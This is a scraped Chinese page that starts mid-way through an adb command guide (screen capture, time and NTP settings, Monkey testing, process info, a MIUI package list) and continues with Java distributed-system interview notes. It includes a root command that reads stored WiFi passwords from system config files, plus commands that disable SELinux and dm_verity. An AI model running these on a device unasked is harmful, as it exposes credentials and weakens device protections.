Windowsadb shell screencap -p | sed "s/\r$//" > sc.pngMac OS Xadb shell screencap -p | gsed "s/\r$//" > sc.png这个方法需要用到 gnu sed 命令,在 Linux 下直接就有,在 Windows 下 Git 安装目录的 bin 文件夹下也有。若找不到该命令,可以下载 sed for Windows 并将 sed.exe 所在文件夹添加到 PATH 环境变量里。而在 Mac 下使用系统自带的 sed 命令会报错:sed: RE error: illegal byte sequence需要安装 gnu-sed,然后使用 gsed 命令:brew install gnu-sed4.11.2 录制屏幕录制屏幕以 mp4 格式保存到 /sdcard:adb shell screenrecord /sdcard/filename.mp4需要停止时按 Ctrl-C,默认录制时间和最长录制时间都是 180 秒。若需要导出到电脑:adb pull /sdcard/<filename>.mp4可以使用 adb shell screenrecord --help 查看 screenrecord 命令的帮助信息,下面是常见参数及含义:参数含义--size WIDTHxHEIGHT视频的尺寸,比如 1280x720,默认是屏幕分辨率。--bit-rate RATE视频的比特率,默认是 4Mbps。--time-limit TIME录制时长,单位秒。--verbose输出更多信息。4.11.3 查看连接过的 WiFi 密码注:需要 root 权限。adb shell su cat /data/misc/wifi/*.conf4.11.4 设置系统日期和时间注:需要 root 权限。adb shell su date -s yyyyMMdd.HHmmss注意:表示将系统日期和时间更改为 yyyy 年 MM 月 dd 日 HH 点 mm 分 ss 秒。设置系统日期和时间后,需使用busybox hwclock -w命令以使得系统时间同步硬件时钟, 否则肯会出现重启不生效的问题。4.11.4.1 读取系统时间adb shell "date"4.11.4.2 读取系统时区adb shell "getprop persist.sys.timezone"4.11.4.3 设置系统时区adb shell "setprop persist.sys.timezone <Region>/<City>"<Region>/<City>为设置的时区,即<地区名>/<城市名>。以设置上海时区为例:Asia/Shanghai。注意:时区更新组件中平台服务功能 (timezone.RulesManagerService)默认处于停用状态。OEM 必须通过相应配置启用该功能。RulesManagerService 在系统服务器进程中运行,并通过写入 /data/misc/zoneinfo/staged 来暂存时区更新操作。RulesManagerService 还可以替换或删除已经暂存的操作。4.11.4.4 设置系统 NTP 服务器adb shell "settings put global ntp_server <NTP服务器地址>"手机重启联网后,将会自动校时。国内常见的NTP服务器地址如下:东北大学:ntp.synet.edu.cnntp.neu.edu.cn上海交大:ntp.sjtu.edu.cnpool.ntp.org:cn.pool.ntp.org阿里云NTP服务器:ntp1.aliyun.comntp2.aliyun.comntp3.aliyun.comntp4.aliyun.comntp5.aliyun.comntp6.aliyun.comntp7.aliyun.com可使用如下命令以查询是否设置成功:adb shell settings get global ntp_server4.11.5 重启手机adb reboot4.11.6 检测设备是否已 rootadb shell su此时命令行提示符是 $ 则表示没有 root 权限,是 # 则表示已 root。4.11.7 使用 Monkey 进行压力测试Monkey 可以生成伪随机用户事件来模拟单击、触摸、手势等操作,可以对正在开发中的程序进行随机压力测试。简单用法:adb shell monkey -p <packagename> -v 500表示向 <packagename> 指定的应用程序发送 500 个伪随机事件。Monkey 的详细用法参考 官方文档。4.11.8 开启/关闭 WiFi注:需要 root 权限。开启 WiFi:adb root adb shell svc wifi enable关闭 WiFi:adb root adb shell svc wifi disable若执行成功,输出为空;若未取得 root 权限执行此命令,将执行失败,输出 Killed。4.12 安全相关命令4.12.1 启用/禁用 SELinux启用 SELinuxadb root adb shell setenforce 1禁用 SELinuxadb root adb shell setenforce 04.12.2 启用/禁用 dm_verity启用 dm_verityadb root adb enable-verity禁用 dm_verityadb root adb disable-verity4.13 更多 adb shell 命令Android 系统是基于 Linux 内核的,所以 Linux 里的很多命令在 Android 里也有相同或类似的实现,在 adb shell 里可以调用。本文档前面的部分内容已经用到了 adb shell 命令。4.14.1 查看进程状态adb shell ps输出信息各列含义:列名含义USER所属用户PID进程 IDPPID父进程 IDNAME进程名4.14.2 查看处理器实时状态adb shell top [-m max_procs] [-n iterations] [-d delay] [-s sort_column] [-t] [-h]adb shell top 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数含义-m最多显示多少个进程-n刷新多少次后退出-d刷新时间间隔(单位秒,默认值5)-s按某列排序(可用col值:cpu, vss, rss, thr)-t显示线程信息-h显示帮助文档输出信息各列含义:列名含义PID进程 IDPR优先级CPU%当前瞬间占用 CPU 百分比S进程状态(R=运行,S=睡眠,T=跟踪/停止,Z=僵尸进程)#THR线程数VSSVirtual Set Size 虚拟耗用内存(包含共享库占用的内存)RSSResident Set Size 实际使用物理内存(包含共享库占用的内存)PCY调度策略优先级,SP_BACKGROUND/SPFOREGROUNDUID进程所有者的用户 IDNAME进程名4.14.3 查看进程 UID有两种方案:方案一:adb shell dumpsys package <packagename> | grep userId=例如:adb shell dumpsys package org.mazhuang.guanggoo | grep userId= userId=10394方案二:通过 ps 命令找到对应进程的 pid 之后 adb shell cat /proc/<pid>/status | grep Uid 如:adb shellps | grep org.mazhuang.guanggoo u0_a394 28635 770 1795812 78736 SyS_epoll_ 0000000000 S org.mazhuang.guanggoocat /proc/28635/status | grep Uid Uid: 10394 10394 10394 10394附录:MIUI 预装软件列表(含系统组件)软件名称软件包名一体化位置信息com.android.location.fused万能遥控com.duokan.phone.remotecontroller三方应用异常分析com.miui.thirdappassistant下载管理com.android.providers.downloads.ui下载管理程序com.android.providers.downloads主屏幕提示com.android.protips主题壁纸com.android.thememanager今日头条com.ss.android.article.news传送门com.miui.contentextension健康com.mi.health全球上网com.miui.virtualsim关机闹钟com.qualcomm.qti.poweroffalarm内容中心com.miui.newhome卫星定位com.xiaomi.bsp.gps.nps双刘海屏com.android.internal.display.cutout.emulation.double垃圾清理com.miui.cleanmaster基本互动屏保com.android.dreams.basic声音com.android.soundpicker备份com.miui.backup外部存储设备com.android.externalstorage天星金融com.xiaomi.jr天气com.miui.weather2媒体存储设备com.android.providers.media.module存储已屏蔽的号码com.android.providers.blockednumber存储空间管理器com.android.storagemanager安全核心组件com.miui.securitycore密钥链com.android.keychain小爱同学com.miui.voiceassist小米SIM卡激活服务com.xiaomi.simactivate.service小米云服务com.miui.cloudservice小米云盘com.miui.newmidrive小米互传com.miui.mishare.connectivity小米互联通信服务com.xiaomi.mi_connect_service小米商城com.xiaomi.shop小米商城系统组件com.xiaomi.ab小米安全键盘com.miui.securityinputmethod小米帐号com.xiaomi.account小米换机com.miui.huanji小米支付com.miui.nextpay小米文档查看器(WPS定制)cn.wps.moffice_eng.xiaomi.lite小米智能卡com.miui.tsmclient小米有品com.xiaomi.youpin小米服务框架com.xiaomi.xmsf小米画报com.mfashiongallery.emag小米直播助手com.mi.liveassistant小米社区com.xiaomi.vipaccount小米视频com.miui.video小米设置com.xiaomi.misettings小米钱包com.mipay.wallet小米闻声com.miui.accessibility屏幕录制com.miui.screenrecorder工作设置com.android.managedprovisioning常用语com.miui.phrase应用包管理组件com.miui.packageinstaller应用商店com.xiaomi.market应用程序扩展服务com.miui.contentcatcher开机引导com.android.provision录音机com.android.soundrecorder微博com.sina.weibo快应用服务框架com.miui.hybrid急救信息com.android.emergency性能模式com.qualcomm.qti.performancemode悬浮球com.miui.touchassistant截屏com.miui.screenshot手机淘宝com.taobao.taobao手机管家com.miui.securitycenter打印处理服务com.android.printspooler打孔屏com.android.internal.display.cutout.emulation.hole扫一扫com.xiaomi.scanner投屏com.milink.service投屏服务com.xiaomi.miplay_client抖音短视频com.ss.android.ugc.aweme拼多多com.xunmeng.pinduoduo指南针com.miui.compass指纹测试com.goodix.gftest搜狗输入法小米版com.sohu.inputmethod.sogou.xiaomi搜索com.android.quicksearchbox支付宝com.eg.android.AlipayGphone收音机com.miui.fm收音机调频服务com.miui.fmservice文件com.google.android.documentsui文件管理com.android.fileexplorer日历com.android.calendar日历存储com.android.providers.calendar时钟com.android.deskclock智慧生活com.miui.hybrid.accessory智能出行com.miui.smarttravel智能助理com.miui.personalassistant智能服务com.miui.systemAdSolution服务与反馈com.miui.miservice权限控制器com.android.permissioncontroller权限管理服务com.lbe.security.miui查找手机com.xiaomi.finddevice桌面云备份com.miui.cloudbackup浏览器com.android.browser淘特com.taobao.litetao游戏中心com.xiaomi.gamecenter游戏服务com.xiaomi.gamecenter.sdk.service瀑布刘海屏com.android.internal.display.cutout.emulation.waterfall照片屏幕保护程序com.android.dreams.phototable爱奇艺com.qiyi.video生活黄页com.miui.yellowpage用户反馈com.miui.bugreport用户字典com.android.providers.userdictionary电子邮件com.android.email电话com.android.incallui电话和短信存储com.android.providers.telephony电话服务com.android.phone电量和性能com.miui.powerkeeper番茄免费小说com.dragon.read百度com.baidu.searchbox百度地图com.baidu.BaiduMap百度输入法小米版com.baidu.input_mi相册com.miui.gallery相机com.android.camera相机标定com.xiaomi.cameratools短信com.android.mms笔记com.miui.notes米家com.xiaomi.smarthome米币支付com.xiaomi.payment系统_WLAN_资源com.android.wifi.resources系统打印服务com.android.bips系统更新com.android.updater系统服务组件com.miui.securityadd系统桌面com.miui.home系统界面com.android.systemui系统语音引擎com.xiaomi.mibrain.speech系统跟踪com.android.traceur维修模式com.miui.maintenancemode网络位置服务com.xiaomi.metoknlp网络管理器com.android.networkstack.inprocess耗电检测com.xiaomi.powerchecker联系人存储com.android.providers.contacts腾讯视频com.tencent.qqlive自由窗口com.miui.freeform蓝牙com.android.bluetooth融合位置服务com.xiaomi.location.fused计算器com.miui.calculator讯飞输入法小米版com.iflytek.inputmethod.miui设备信息com.qti.qualcomm.deviceinfo设置com.android.settings设置存储com.android.providers.settings证书安装程序com.android.certinstaller语音唤醒com.miui.voicetrigger输入设备com.android.inputdevices边角刘海屏com.android.internal.display.cutout.emulation.corner运营商默认应用com.android.carrierdefaultapp通知管理com.miui.notification通讯录与拨号com.android.contacts通话管理com.android.server.telecom配套设备管理器com.android.companiondevicemanager银联可信服务安全组件小米版本com.unionpay.tsmservice.mi长型刘海屏com.android.internal.display.cutout.emulation.tall阅读com.duokan.reader音乐com.miui.player音质音效com.miui.misound驾车场景com.xiaomi.drivemodeAI虚拟助手com.xiaomi.aiasst.serviceAndroid_无障碍套件com.google.android.marvin.talkback3_Button_Navigation_Barcom.android.internal.systemui.navbar.threebuttonAdreno_Graphics_Driverscom.qualcomm.qti.gpudrivers.lito.api30AiasstVisioncom.xiaomi.aiasst.visionAnalyticscom.miui.analyticsAndroid_Services_Librarycom.google.android.ext.servicesAndroid_Shared_Librarycom.google.android.ext.sharedAndroid_System_WebViewcom.google.android.webviewAudioEffectcom.miui.audioeffectBlackcom.android.theme.color.blackBluetooth_MIDI_Servicecom.android.bluetoothmidiserviceBokehcom.miui.extraphotoBookmark_Providercom.android.bookmarkproviderCITcom.miui.citCaptivePortalLogincom.android.captiveportalloginCatchLogcom.bsp.catchlogCell_Broadcast_Servicecom.android.cellbroadcastserviceCinnamoncom.android.theme.color.cinnamonCircularcom.android.theme.icon_pack.circular.androidCircularcom.android.theme.icon_pack.circular.launcherCircularcom.android.theme.icon_pack.circular.settingsCircularcom.android.theme.icon_pack.circular.systemuiCircularcom.android.theme.icon_pack.circular.themepickerCit_QRcom.miui.qrCloudServiceSysbasecom.miui.cloudservice.sysbaseCneAppcom.qualcomm.qti.cneConference_URI_Dialercom.qti.confuridialerConfigUpdatercom.google.android.configupdaterDynamic_System_Updatescom.android.dynsystemEid-Servicecom.rongcard.eidFIDO_UAF1.0_ASMcom.fido.asmFIDO_UAF1.0_Clientcom.fido.xiaomi.uafclientFilledcom.android.theme.icon_pack.filled.androidFilledcom.android.theme.icon_pack.filled.launcherFilledcom.android.theme.icon_pack.filled.settingsFilledcom.android.theme.icon_pack.filled.systemuiFilledcom.android.theme.icon_pack.filled.themepickerFingerprintExtensionServicecom.fingerprints.extension.serviceGFManagercom.goodix.fingerprintGestural_Navigation_Barcom.android.internal.systemui.navbar.gesturalGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_extra_wide_backGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_narrow_backGestural_Navigation_Barcom.android.internal.systemui.navbar.gestural_wide_backGoogle_One_Time_Initcom.google.android.onetimeinitializerGoogle_Play_服务com.google.android.gmsGoogle_Play_服务更新程序com.android.vendingGoogle_服务框架com.google.android.gsfGoogle通讯录同步com.google.android.syncadapters.contactsHTML_查看器com.android.htmlviewerMIUI+_Beta版com.xiaomi.mirrorMIUI安全组件com.miui.guardproviderMODEM测试工具com.xiaomi.mtbMTP_主机com.android.mtpNFC服务com.android.nfcSIM卡联系人com.qualcomm.qti.simcontactsUC浏览器com.UCMobileUSIM卡应用com.android.stkWAPI证书com.wapi.wapicertmanageX-Divert设置com.qti.xdivertGreencom.android.theme.color.greenIntent_Filter_Verification_Servicecom.android.statementserviceJoyosecom.xiaomi.joyoseLive_Wallpaper_Pickercom.android.wallpaper.livepickerLocationServicescom.qualcomm.locationMConnServicecom.miui.vsimcoreMIUI_Bluetoothcom.xiaomi.bluetoothMIUI_SDKcom.miui.coreMiCloudSynccom.miui.micloudsyncMi_RCScom.xiaomi.mircsMiuiBiometriccom.miui.faceMiuiDaemoncom.miui.daemonMiuiVpnSdkManagercom.miui.vpnsdkmanagerMmsServicecom.android.mms.serviceModule_Metadatacom.android.modulemetadataNetworkStackOverlaycom.android.networkstack.overlayOceancom.android.theme.color.oceanOrchidcom.android.theme.color.orchidOsuLogincom.android.hotspot2.osuloginPacProcessorcom.android.pacprocessorPebblecom.android.theme.icon.pebblePrint_Service_Recommendation_Servicecom.google.android.printservice.recommendationProxyHandlercom.android.proxyhandlerPurplecom.android.theme.color.purpleQColorcom.qualcomm.qti.qcolorQDCM-FFcom.qti.snapdragon.qdcm_ffQualcomm_Mobile_Securitycom.qualcomm.qti.qms.service.telemetryRegServicecom.miui.dmregserviceRounded_Rectanglecom.android.theme.icon.roundedrectRoundedcom.android.theme.icon_pack.rounded.androidRoundedcom.android.theme.icon_pack.rounded.launcherRoundedcom.android.theme.icon_pack.rounded.settingsRoundedcom.android.theme.icon_pack.rounded.systemuiRoundedcom.android.theme.icon_pack.rounded.themepickerSecCamServicecom.qualcomm.qti.seccamserviceSecureElementApplicationcom.android.seSecure_UI_Servicecom.qualcomm.qti.services.secureuiSensor_Test_Toolcom.fingerprints.sensortesttoolSettings_Suggestionscom.android.settings.intelligenceShellcom.android.shellSim_App_Dialogcom.android.simappdialogSoterServicecom.tencent.soter.soterserverSpacecom.android.theme.color.spaceSquirclecom.android.theme.icon.squircleSystemHelpercom.mobiletools.systemhelperSystem_Helper_Servicecom.qualcomm.qti.services.systemhelperTAMservicecom.xiaomi.otrpbrokerTagscom.android.apps.tagTapered_Rectcom.android.theme.icon.taperedrectTeardropcom.android.theme.icon.teardropTetheringcom.android.networkstack.tethering.inprocessVesselcom.android.theme.icon.vesselVpnDialogscom.android.vpndialogsWMServicecom.miui.wmsvcWallPapercom.miui.miwallpaperWfd_Servicecom.qualcomm.wfd.serviceXiaomi_Service_Framework_Keepercom.xiaomi.xmsfkeepercom.android.backupconfirmcom.android.backupconfirmcom.android.carrierconfig.overlay.commoncom.android.carrierconfig.overlay.commoncom.android.carrierconfigcom.android.carrierconfigcom.android.cellbroadcastreceiver.overlay.commoncom.android.cellbroadcastreceiver.overlay.commoncom.android.cellbroadcastreceivercom.android.cellbroadcastreceivercom.android.cts.ctsshimcom.android.cts.ctsshimcom.android.cts.priv.ctsshimcom.android.cts.priv.ctsshimcom.android.localtransportcom.android.localtransportcom.android.onscom.android.onscom.android.overlay.gmstelecommcom.android.overlay.gmstelecommcom.android.overlay.gmstelephonycom.android.overlay.gmstelephonycom.android.phone.overlay.commoncom.android.phone.overlay.commoncom.android.providers.mediacom.android.providers.mediacom.android.provision.overlay.miuicom.android.provision.overlay.miuicom.android.server.NetworkPermissionConfigcom.android.networkstack.permissionconfigcom.android.server.telecom.overlay.commoncom.android.server.telecom.overlay.commoncom.android.server.telecom.overlay.miuicom.android.server.telecom.overlay.miuicom.android.settings.overlay.miuicom.android.settings.overlay.miuicom.android.sharedstoragebackupcom.android.sharedstoragebackupcom.android.smspushcom.android.smspushcom.android.systemui.gesture.line.overlaycom.android.systemui.gesture.line.overlaycom.android.systemui.icon.overlaycom.android.systemui.icon.overlaycom.android.systemui.navigation.bar.overlaycom.android.systemui.navigation.bar.overlaycom.android.systemui.notch.overlaycom.android.systemui.notch.overlaycom.android.systemui.overlay.commoncom.android.systemui.overlay.commoncom.android.systemui.overlay.miuicom.android.systemui.overlay.miuicom.android.wallpaperbackupcom.android.wallpaperbackupcom.android.wallpapercroppercom.android.wallpapercroppercom.android.wifi.resources.overlay.commoncom.android.wifi.resources.overlay.commoncom.android.wifi.resources.overlay.targetcom.android.wifi.resources.overlay.targetcom.android.wifi.resources.xiaomicom.android.wifi.resources.xiaomicom.google.android.cellbroadcastreceiver.overlay.miuicom.google.android.cellbroadcastreceiver.overlay.miuicom.google.android.cellbroadcastservice.overlay.miuicom.google.android.cellbroadcastservice.overlay.miuicom.google.android.overlay.gmsconfigcom.google.android.overlay.gmsconfigcom.google.android.overlay.modules.documentsuicom.google.android.overlay.modules.documentsuicom.google.android.overlay.modules.ext.servicescom.google.android.overlay.modules.ext.servicescom.miui.catcherpatch.BaseApplicationcom.miui.catcherpatchcom.miui.face.overlay.miuicom.miui.face.overlay.miuicom.miui.internal.app.SystemApplicationcom.miui.systemcom.miui.romcom.miui.romcom.miui.smsextra.internal.SmsExtraAppcom.miui.smsextracom.miui.systemui.carriers.overlaycom.miui.systemui.carriers.overlaycom.miui.systemui.devices.overlaycom.miui.systemui.devices.overlaycom.miui.systemui.overlay.devices.androidcom.miui.systemui.overlay.devices.androidcom.miui.translation.kingsoftcom.miui.translation.kingsoftcom.miui.translation.xmcloudcom.miui.translation.xmcloudcom.miui.translation.youdaocom.miui.translation.youdaocom.miui.translationservicecom.miui.translationservicecom.qti.diagservicescom.qti.diagservicescom.qti.dpmserviceappcom.qti.dpmserviceappcom.qti.qualcomm.datastatusnotificationcom.qti.qualcomm.datastatusnotificationcom.qti.service.colorservicecom.qti.service.colorservicecom.qti.slaservicecom.qti.slaservicecom.qualcomm.atfwdcom.qualcomm.atfwdcom.qualcomm.embmscom.qualcomm.embmscom.qualcomm.qcrilmsgtunnelcom.qualcomm.qcrilmsgtunnelcom.qualcomm.qti.autoregistrationcom.qualcomm.qti.autoregistrationcom.qualcomm.qti.devicestatisticsservicecom.qualcomm.qti.devicestatisticsservicecom.qualcomm.qti.dynamicddsservicecom.qualcomm.qti.dynamicddsservicecom.qualcomm.qti.lpacom.qualcomm.qti.lpacom.qualcomm.qti.qms.service.connectionsecuritycom.qualcomm.qti.qms.service.connectionsecuritycom.qualcomm.qti.qtisystemservicecom.qualcomm.qti.qtisystemservicecom.qualcomm.qti.remoteSimlockAuthcom.qualcomm.qti.remoteSimlockAuthcom.qualcomm.qti.server.wigig.tethering.rrocom.qualcomm.qti.server.wigig.tethering.rrocom.qualcomm.qti.telephonyservicecom.qualcomm.qti.telephonyservicecom.qualcomm.qti.uimGbaAppcom.qualcomm.qti.uimGbaAppcom.qualcomm.qti.uimcom.qualcomm.qti.uimcom.qualcomm.qti.workloadclassifiercom.qualcomm.qti.workloadclassifiercom.qualcomm.timeservicecom.qualcomm.timeservicecom.qualcomm.uimremoteclientcom.qualcomm.uimremoteclientcom.qualcomm.uimremoteservercom.qualcomm.uimremoteservercom.xiaomi.bluetooth.overlaycom.xiaomi.bluetooth.overlaycom.xiaomi.micloudsdk.SdkApplicationcom.xiaomi.micloud.sdkkaraokecom.miui.audiomonitormiui.external.Applicationcom.android.thememanager.module
文章
存储  ·  编解码  ·  缓存  ·  安全  ·  Shell  ·  Linux  ·  API  ·  开发工具  ·  Android开发  ·  Perl
2023-02-07
Java中分布式概念
什么是分布式?将一个大的系统划分为多个业务模块,业务模块分别部署到不同的机器上,各个业务模块之间通过接口进行数据交互。区别分布式的方式是根据不同机器不同业务。微服务的设计是为了不因为某个模块的升级和BUG影响现有的系统业务。微服务与分布式的细微差别是,微服务的应用不一定是分散在多个服务器上,可以是同一个服务器。分布式和微服的架构很相似,只是部署的方式不一样而已,分布式属于微服务。1、Maven:1、maven的三种打包方式及区别?maven package:打包到本项目,一般是在项目target目录下。如果a项目依赖于b项目,打包b项目时,只会打包到b项目下target下,编译a项目时就会报错。maven install:打包到本地仓库,如果没有设置过maven本地仓库,一般在用户/.m2目录下。如果a项目依赖于b项目,那么install b时,会在本地仓库同时生成pom文件和jar文件,可以看install bmaven deploy:打包上传到远程仓库,如:私服nexus等,需要配置pom文件9、Redis:1、Redis的使用?使用方法:在service模块的pom中引入jedis依赖,常见JedisClient接口,定义set、get、hget、expire、ttl等方法,创建JedisClientCluster类实现接口,并重写里面的方法,创建JedisClientPool类,实现接口,并重写里面的方法。Key命令:Expire:设置过期时间、TTL:查看key的过期时间、Persist:清除key的过期时间。Redis持久化方案:Rdb:保存到磁盘中;AOF:把数据库操作命令保存到文件中,数据库恢复时把命令重新执行一遍。Redis集群:集群没有入口,连接任意一个即可。集群的容错机制:发送ping命令,超过半数就认为挂掉。redis集群中至少需要三台服务器来保证高可用,三个备用服务器,至少需要6台服务器,需要使用ruby脚本搭建集群。注意:单机版和集群版不能共存,使用单机版时注释集群版的配置。使用集群版,把单机版注释。2、redis分布式锁业务场景是要求同一个用户针对同一类借款,只可以存在一笔待还借款。第三方平台每次都会在同一时间发送多次相同的借款请求。使用redis锁控制用户借款串行执行。3、redis存储的数据类型有哪些?String、List、Set、Hash、SortedSet。4、Redis的使用场景?1、活动倒计时方案1、活动开始的时间是固定的。2、使用SELECT NOW();取出当前时间并作为基准时间3、拿活动开始时间-基准时间可以计算出一个秒为单位的数值,并作为活动过期时间。4、在redis中设置一个key(活动开始标识)。使用expire命令将第三步计算出来的时间设置为key的过期时间。5、使用redis中的Ttl命令取出key的剩余生存时间,在前台展示活动剩余的时间。2、秒杀方案1、把商品的数量放到redis中。2、秒杀时使用redis中的decr命令对商品数量减一。如果不是负数说明抢到。3、一旦返回数值变为0说明商品已售完。10、Kafka :1、Kafka的简单概述Kafka是一个分布式发布-订阅消息传递系统。producer:消息生产者,发布消息到kafka集群的终端或服务。consumer:从 kafka 集群中消费消息的终端或服务。topic:每条发布到 kafka 集群的消息都属于topic类别,即 kafka 是面向 topic 的。生产者将输入写入到主题topic,而消费者则从主题topic中读取写入的数据。因为卡夫卡是一个分布式系统,所以topic主题会实现跨多个节点分区和复制。Activemq:在service层的pom中导入activemq-all的jar包,在商品添加完成后把商品的id发送一个mq消息。11、Dubbo :实现不同系统之间的调用。(要实现商品列表查询需要两个系统之间进行通信)缺点:只能是java与java项目之间调用Provider、Consumer、Registry、Monitor、Container使用方法:在service层的pom中引入dubbo、zookeeper和zkclient依赖,同时要排除netty的依赖,避免jar包冲突,在spring配置文件中配置约束、注册中心端口号、地址,并在20880端口上暴露服务,然后发布dubbo服务。在web层的pom中引入相同的依赖,在spring配置文件中引入约束、注册中心端口号、地址,并引用dubbo服务。在spring配置文件中配置注册中心的地址、需要暴露服务端口号,默认20880,发布服务。服务Provider启动时首先初始化一个Spring容器,然后向注册中心发送注册服务,消费者从注册中心拿去提供者的服务,监控中心监控提供者和消费者的关系。注册中心就如同房产中介,使用Zookeeper作为注册中心,也可以使用redis,,可执行文件前面都带x,由于要快照存储,需要修改zoo.cfg配置文件,./+文件名 start启动Zookeeper,status/stop查看启动模式。在service模块中发布服务,在接口模块中调用服务,引入dubbo依赖时,spring和netty的依赖会产生冲突要在pom中添加exclusions排除标签。32位的虚拟机要装32位的软件。在pom文件中添加模块的依赖就可以引用模块里面的接口了。解压:tar zxxf + 文件名包扫描器扫描到包时会创建一个bean,bean的id是类名首字母小写。16、Nginxnginx:是一个http(web)服务器;就是只能运行html、css、jstomcat:http服务器+servlet服务器;可以运行html、css、js、javatomcat虽然能提供http服务,但性能达不到高并发要求。并发请求超过1000相应速度就会下降nginx+多个tomcat实现高并发的性能Nginx反向代理配置:Nginx是一款高性能的http服务器/反向代理服务器及电子邮件代理服务器。应用场景:1、http服务器,可以做网页静态服务器。2、虚拟主机,一台服务器虚拟多个网站,启动多个网站,配置多个server。3、反向代理,负载均衡,反向代理搭建多台服务器集群。通过域名去访问指定的IP地址,使用SwitchHost修改配置信息和Nginx配置文件。通过后面的域名去访问前面的ip地址。在nginx.conf进行配置:server { listen 81; server_name localhost; #charset koi8-r; #access_log logs/host.access.log main; location / { root html81; index index.html index.htm; } } server { listen 80; server_name www.souhu.com; #charset koi8-r; #access_log logs/host.access.log main; location / { root html-souhu; index index.html index.htm; } } server { listen 80; server_name www.163.com; #charset koi8-r; #access_log logs/host.access.log main; location / { root html-163; index index.html index.htm; } }通过http://192.168.25.128:81/访问html81下的index文件C:\Windows\System32\drivers\etc\hostsvim html-souhu/index.htmlsbin/nginx -s reload复制文件夹:cp -r html/ html81192.168.25.128 www.souhu.com192.168.25.128 www.163.com17、SSO系统:SSO是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统,注册和登录都是一个单独的系统。传统登陆模式:判断用户是否登录:判断session中是否有用户信息,通常使用拦截器来处理。集群:多台服务器提供相同服务;建立集群:Session复制,集群中的节点最多不能超过5个,并发量多了要采用分布式;Session服务器:Session的统一管理单点登录主要解决了Session共享的问题;认证:检查数据是否可用传递参数(用户名,手机号,邮箱唯一),类型(1/2/3)如果数据库中存在该数据,该注册数据不可用,不存在的话该数据可以使用。/{param}/{type}:URL传参,后台接收要用@PathVariable注解。注册:先验证用户名、手机号和邮箱是否为空,然后认证用户信息是否重复,之后对密码进行Bcrypt加密,之后插入数据。登录:先校验用户名是否存在,再校验密码是否正确,然后使用UUID生成token,把密码清空,将token作为key,用户信息作为value放入到redis中并设置Sessio的有效时间,然后将token放入到cookie中。再次登录:先从Cookie中取token,调用接口通过token去redis中查询是否存在用户信息,查不到说明用户登录已经过期返回登录页面,存在重新设置过期时间,返回用户已经登录然后进入到首页。安全退出:通过token去删除redis中的用户信息,并把过期时间设置为0.解决js的跨域问题可以使用jsonp。JsonUtils.objectToJson():对象转JSONJsonUtils.jsonToPojo():JSON转对象18、Freemarker:静态模板页面:使用方法:引入freemarker依赖,然后将模板和Java对象整合到一个html页面。获取Configuration对象,设置版本号、模板文件路径、编码格式,然后将对象写入到一个静态页面,设置存放路径。语法 :${key}:取值、</#list>:遍历、</#if>:判断、<#include “”>:包含,类似于JSTL中的语法。redis中存放的value值是json数据,需要转化为对象之后才能使用。在页面点击商品图片或标题展示商品详情页面:通过商品id去查询商品信息和商品详情信息。通过商品id去redis中查询数据,查询不到再去数据库中查询数据,然后放入redis中,设置过期时间为一天。生成静态页面的时机:商品添加后,生成静态页面。可以使用Activemq,订阅topic(商品添加)网页访问:使用nginx访问网页。在此方案下tomcat只有一个作用就是生成静态页面。为了提高redis的高可用,使用定时任务把不常访问的商品从redis缓存中清除。Freemaker生成静态页面的时机:添加商品后使用activemq广播消息,freemaker监听到消息去数据库查询商品生成静态页面传统项目是一个工程部署到一个Tomcat上,300-400并发访问量后性能就会降低,当并发量达到1000时要考虑解决问题的方法,可以使用Nginx提供负载均衡,把请求分配给Tomcat集群,当用户登录后把信息写入Session中,Tomcat中的广播机制可以实现Session共享问题,当并发量达到10000时,由于Tomcat要去进行Session复制,所以没有时间再去解决用户的请求,需要按照功能点把系统拆分,拆分成独立的功能。然后根据每个模块的并发量大小再去进行集群的配置。前台需要查询数据库,订单系统需要查询服务,这是可以把查询整理为一个服务,所以SOA架构被引入了,代码复用性提高了。SOA架构:把项目分为表现层和服务层,表现层只用于展示页面,服务层只用于提供服务。<dubbo:registry protocol=“zookeeper” address=“192.168.25.128:2181” /> tracker_server=192.168.25.133:22122 E:\图片\测试图片\500.jpg <dubbo:registry protocol=“zookeeper” address=“192.168.25.128:2181” /> <dubbo:protocol name=“dubbo” port=“20881” />什么地方用到了页面静态化?https://blog.csdn.net/yang_guang3/article/details/84309631商品详情页面展示的时候;语法:</#list>:遍历数据,<#include>:引入其他页面,d a t e ? d a t e : 格 式 化 日 期 , {date?date}:格式化日期,date?date:格式化日期,{person} :获取数据,<#if > <#else>:判断语句;如果要取一个不存在的值时,不能直接取,要取非${aaa! },利用if语句转入到else语句中。用法:1、引入freemarker相关依赖;2、编写xml配置文件(模板标签和模板文件存放路径);3、利用FreeMarkerConfigurer,Template生成模板文件。Quartz的使用商城中促销功能的实现1.每天凌晨24点从mysql中查找明天过生日的用户的手机号码存入到redis中2.每天早上7点从redis中读取手机号发促销短信
文章
消息中间件  ·  NoSQL  ·  Java  ·  应用服务中间件  ·  Kafka  ·  Redis  ·  数据库  ·  Maven  ·  nginx  ·  微服务
2023-02-11
MySQL数据库面试题
